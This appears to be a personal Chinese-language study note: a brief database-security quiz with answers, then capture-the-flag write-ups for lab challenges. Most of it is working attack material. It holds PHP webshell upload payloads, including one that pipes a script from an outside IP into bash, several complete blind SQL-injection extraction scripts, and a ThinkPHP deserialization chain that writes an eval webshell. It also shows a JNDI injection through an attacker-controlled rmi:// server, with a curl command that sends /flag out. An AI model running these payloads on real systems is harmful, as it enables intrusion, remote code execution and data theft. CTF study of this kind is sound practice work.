签到

1.在数据库系统中,()是信息系统的第一道屏障。*

口令保护

2.为了防止物理上取走数据库而采取的加强数甚库安全的方法是()*

数据库加密

3.发生()后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。*

介质故障

4.在数据库的安全评估过程中,下面那项是指系统能够对付各种可能的攻击的能力。()*

可行性

5.数据库访问控制策略中,()是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。*

只需策略

6.数据库的()是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。*

安全策略

7.数据库的加密方法中,采用(),则密钥管理较为简单,只需借用文件加密的密钥管理方法。*

库外加密

8.在下面的加密方法中,哪个加解密的效率最低:( )。*

元素加密

image-20210402181010053

write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

payload

http://eci-2zehhuwx9m3no8asyq97.cloudeci1.ichunqiu.com/?action=pwd

得到目录

然后写文件

可以直接

http://eci-2zehhuwx9m3no8asyq97.cloudeci1.ichunqiu.com/?action=upload&data=<?=`cat%09/*%09>1.txt`?>

自己感觉这样也行:

http://127.0.0.1/1.php?action=upload&data=<?=`curl%09http://47.94.0.250/1.txt|bash`?>

https://www.freebuf.com/articles/web/137923.html

happysql

lpad() 字符串左填充函数。

语法: LPAD(str,len,padstr)

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度,

然后返回 str。如果 str的长度长于 len,那么它将被截除到 len个字符。

这里是判断user 中数据的长度是否为7,如果不是将用1来填充

简单测试,

username=aaaaaa&password=1"||-1%23

(greatest(ascii((select/**/version()))))

username=aaaaaa"||(1)%23&password=1

先去注册!然后就可以以bool注入了!如果没有

大佬exp

import requests

url="http://****/login.php"
proxies = {
"http":"127.0.0.1:8080"
}
flag=''
hexflag=''
s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}-_,.'
for i in range(1,500):
f1=flag
for j in s:
hexj=str(hex(ord(j))).replace('0x','')
# p='admin"||/**/(case/**/when/**/(left(database(),{})/**/regexp/**/binary/**/0x{})/**/then/**/1/**/else/**/0/**/end)#'.format(str(i),hexflag+hexj)
# p='admin"||/**/(case/**/when/**/(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_index_stats),{})/**/regexp/**/binary/**/0x{})/**/then/**/1/**/else/**/0/**/end)#'.format(str(i),hexflag+hexj)
# p='admin"||/**/(case/**/when/**/(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_index_stats),{})/**/regexp/**/binary/**/0x{})/**/then/**/1/**/else/**/0/**/end)#'.format(str(i),hexflag+hexj)
# p='admin"||/**/(case/**/when/**/(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_index_stats),{})/**/regexp/**/binary/**/0x{})/**/then/**/1/**/else/**/0/**/end)#'.format(str(i),hexflag+hexj)
p='admin"||/**/(case/**/when/**/(left((select/**/*/**/from/**/f1ag),{})/**/regexp/**/binary/**/0x{})/**/then/**/1/**/else/**/0/**/end)#'.format(str(i),hexflag+hexj)

data={'username':p,'password':"123456"}
try:
print(i,hexj)
r=requests.post(url,data=data,proxies=proxies)
if "home.php" in r.text:
flag+=j
hexflag+=str(hex(ord(j))).replace('0x','')
print(flag)
break
except Exception as e:
pass
if flag==f1:
break
print(flag)
#
# ctf
# ctf,ctf,ctf,f1ag,f1ag,f1ag

image-20210402184315093

可以看到直接变回字符串!

思路就是先转换成16进制!再和16进制做比较!

image-20210402192806579

注意: mysql里hex逗号

burp0_data = {"username": 'a"||/**/(hex(left((select(group_concat(table_name))from(mysql.innodb_index_stats)),{}))in("{}"))#'.format(str(i),my_hex(flag+j)), "password": "admin" }

这个时候:

in("{}") 要加上引号!
不然跑逗号时候跑步出来!
具体啥原理我也不懂! 以后记得带坑坏我了!😥😥😥😥

自己的exp

import requests
import string
proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}

def my_hex(s):
s_hex=''
for i in range(len(s)):
s_hex=s_hex+hex(ord(s[i]))[2:]
return s_hex

burp0_url = "http://eci-2zeb1jg3i7kmfmvlu3ub.cloudeci1.ichunqiu.com/login.php"
#burp0_data = {"username": "admin", "password": "admin", "id": "(left(database(),1)in(0x70))"}
s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-+$~`^#.@_,{}()'
s1='0123456789.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
dic = string.ascii_letters + string.digits + '_!@#$%^&*{}.-,'
flag=''
for i in range(1,1000):
f=flag
for j in s:
#burp0_data = {"username": "admin", "password": "admin", "id": "(left(schema(),{})in({}))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left(version(),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left((select(group_concat(database_name))from(mysql.innodb_index_stats)),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left((select(group_concat(table_name))from(mysql.innodb_index_stats)),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left((select(group_concat(table_name))from(mysql.innodb_index_stats)),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(hex(left((select*from(flagishere.flag)),{}))in('{}'))".format(str(i),my_hex(flag+j))}

#burp0_data = {"username" : 'a"||/**/(left((select/**/version()),{})in({}))#'.format(str(i),flag+j) , "password" : "aaaaa"}

#burp0_data = {"username" : 'a"||/**/(hex(left((select/**/DATABASE()),{}))in("{}"))#'.format(str(i),my_hex(flag+j)) , "password" : "aaaaa"}
#burp0_data = {"username": 'a"||/**/(hex(left((select(group_concat(database_name))from(mysql.innodb_index_stats)),{}))in({}))#'.format(str(i),my_hex(flag+j)), "password": "admin" }
burp0_data = {"username": 'a"||/**/(hex(left((select(group_concat(table_name))from(mysql.innodb_index_stats)),{}))in("{}"))#'.format(str(i),my_hex(flag+j)), "password": "admin" }
burp0_data = {"username": 'a"||/**/(hex(left((select*from(ctf.f1ag)),{}))in("{}"))#'.format(str(i),my_hex(flag+j)), "password": "admin" }


print(burp0_data)
r = requests.post(burp0_url, data=burp0_data)
#print(i,j)
if 'home.php' in r.text:
flag+=j
print(flag)
break
if flag==f:
break
print(flag)

# ctf
# ctf,ctf,ctf,flagishere,flagishere,flagishere,mysq
# admin,flag,gtid_slave_pos flagishere
#admin,admin,admin,flag,flag,flag,gtid_slave_pos,gtid_slave_pos,gtid_slave_pos,gtid_slave_pos
# flag{02539e4a

有一点记下:

= 可以用 like in regexp替换

一定要注意那个引号!!!!!🙄🙄🙄🙄

image-20210402194407958

一开始跑版本都是因为他没跑出来!

再记录两个sql注入大佬的 exp

1

import os
import requests
import string
url = "xxxxxxxx"
req = requests.session()

string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']

res = ''

chars = string.printable

result = ""
for i in range(1,45):
for j in chars:
data = {
#'username':'a"||exp(make_set(strcmp((locate(binary"%s",(select/**/database()),%d)),%d),710,1))#'%(j,i,i), #数据库
# 'username':'a"||exp(make_set(strcmp((locate(binary"%s",(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/"ctf"),%d)),%d),710,1))#'%(j,i,i),#表
'username':'a"||exp(make_set(strcmp((locate(binary"%s",(select/**/group_concat(x.2)/**/from/**/(select/**/2/**/union/**/select/**/*/**/from/**/f1ag)x),%d)),%d),710,1))#'%(j,i,i),
'password':'213'
}
rep = req.post(url,data)
text = rep.text
if 'home.php' in text:
result += j
print(result)
break
exp(make_set(strcmp((locate(binary"%s",(select/**/database()),%d)),%d),710,1))#(make_set(strcmp((locate(binary"%s",(select/**/database()),%d)),%d),710,1)


exp就是 e的多少次方
make_set的化没看太懂!但是SELECT MAKE_SET(0,"a","b","c")是空
strcmp 字符串笔记 相等是0
locate SELECT LOCATE('bar', 'foobarbar'); 看字符串的位置
-> 4
要将字符串表达式转换为二进制字符串,这些结构是等效的:
CAST(expr AS BINARY)
CONVERT(expr USING BINARY)
BINARY expr

BINARY"a" 我理解的就是二进制
BINARY函数将值转换为二进制字符串。

大概原理是 :
出现'home.php' 就停止
(locate(binary"%s",(select/**/database()),%d))
假如 数据库是 ctf
去看c
从 1查起! (locate(binary"%s",(select/**/database()),%d)) 匹配到c停止
strcmp((locate(binary"%s",(select/**/database()),%d)),%d)这个是 0

(make_set(strcmp((locate(binary"%s",(select/**/database()),%d)),%d),710,1))是0

exp(0) 就是1 e的0次方
稍微了解一下!
下回直接用!

image-20210406180353074

数字也行

image-20210406180910197

image-20210406181115060

2

import requests
import binascii
burp0_url = "http://eci-2ze6hpkvyv42lzgmdxw9.cloudeci1.ichunqiu.com/login.php"
burp0_cookies = {"__jsluid_h": "a1606fe5f9707bca94488c2d982b99f4", "PHPSESSID": "fb934e887a0284aeb6b4aae1cb206963"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) G1ecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2ze0zymtn8akiu41ofjl.cloudeci1.ichunqiu.com", "Connection": "close", "Referer": "http://eci-2ze0zymtn8akiu41ofjl.cloudeci1.ichunqiu.com/index.php", "Upgrade-Insecure-Requests": "1"}
# string = "1234567890abcdefghijklmnopqrstuvwxyz-{}"
string = "1234567890abcdef-{}"
flag = 'flag{9eb68b21-9235-430c-8f24-a14ce8ec'
# get table
# for i in range(32):
# for j string:
# s = flag+j
# payload = "\"||(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)/**/regexp/**/0x66{}#".format(s.encode('hex'))
# print(payload)
# burp0_data = {"username": payload, "password": ''}
# res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
# if "home" in res.text:
# flag += j
# print(flag)
# break
for i in range(32):
for j in string:
s = flag+j
payload = "\"||(select/**/*/**/from/**/f1ag)/**/regexp/**/0x{}#".format(s.encode('hex'))
print(payload)
burp0_data = {"username": payload, "password": ''}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
# print(res.text)
if "home" in res.text:
print(res.text)
flag += j
print(flag)
break
# print(res.text)

easytp

去大佬哪下个:rogue_mysql_server

https://github.com/M00nBack/rogue_mysql_server

image-20210402194603067

服务器监听着!

读取/shart.sh

#!/bin/bash

mysqld_safe &

mysql_ready() {
mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root > /dev/null 2>&1
}

while !(mysql_ready)
do
echo "waiting for mysql ..."
sleep 3
done

mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';flush privileges;" -uroot -proot

if [[ -f /db.sql ]]; then
mysql -e "source /db.sql" -uroot -proot
rm -f /db.sql
fi

if [[ -f /flag.sh ]]; then
source /flag.sh
fi

http://www.yang99.top/index.php/archives/48/#easytp

复现复现

easytp

题目存在www.zip代码包[1]

图片

很明显考点是反序列化,参考https://f5.pm/go-53579.html[2]进行文件读取,但是读不到flag。读取start.sh,根据提示可以知道flag在数据库里,尝试用弱口令连接,最后使用堆叠注入,getshell


<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
//"hostname" => "先是自己服务器",
"hostport" => "3306",
//"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/Public/11.php'#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

使用蚁剑连接,数据库获取flag

图片

当时这个题! 我就是原理不是很懂!

https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247484711&idx=1&sn=0dd0f72b376b4922e4ae5b8bd614ae89&scene=21#wechat_redirect

就是 tp反序列化漏洞!

全局搜索THINK_VERSION 看的版本3.2.3 很细接

读取了常规的flag路径,发现没有,于是猜测flag在数据库

读取/start.sh发现数据库 很细节!

弱口令 123456 | root 很细节

首先是

是"hostname" => "127.0.0.1",  改伪造的mysql服务器! 可以任意文件读取

再换回他自己的mysql服务器! 但是当时我 直接用他的ip 39.105.23.123 是不行的!
用127.0.0.1可以!
日了!
然后最简单的就是写文件了!
或者跑错注入!

javaweb

1.发现是个shiro,提示访问/json,通过http://8.140.152.226:9999/;/json[3]就能绕过成功访问json接口,发现是个jackson2.fuzz之后发现这里的Gadgets应该是

["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"xxxxx"}]

1.首先使用工具(我这里的功能主要移植于 JNDI-Injection-Exploit,在本题中用的的功能是一样)

图片

1.经过测试发现目标环境中 trustURLCodebase==false

图片

1.所以使用绕过trustURLCodebase==false 的 rmi服务。执行 curl -d @/flag xxxxx:22052.在2205接到请求

图片

-d参数可以读取本地文本文件的数据,向服务器发送。

$ curl -d '@data.txt' https://google.com/login

上面命令读取data.txt文件的内容,作为数据体向服务器发送。

-F参数也可以指定文件名。

$ curl -F 'file=@photo.png;filename=me.png' https://google.com/profile

上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。

有个登录。发现Set-Cookie那里有个rememberMe=deleteMe;。大致可以知道是Shiro。

然后就是Apache Shiro 身份验证绕过漏洞 复现(CVE-2020-11989)

用 Spring 那条链。

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://47.94.0.250:1099/ss1dsw

image-20210408134657526

["ch.qos.logback.core.db.JNDIConnectionSource",
{"jndiLocation":"rmi://47.94.0.250:1099/6o955v"}]

http://www.yang99.top/index.php/archives/48/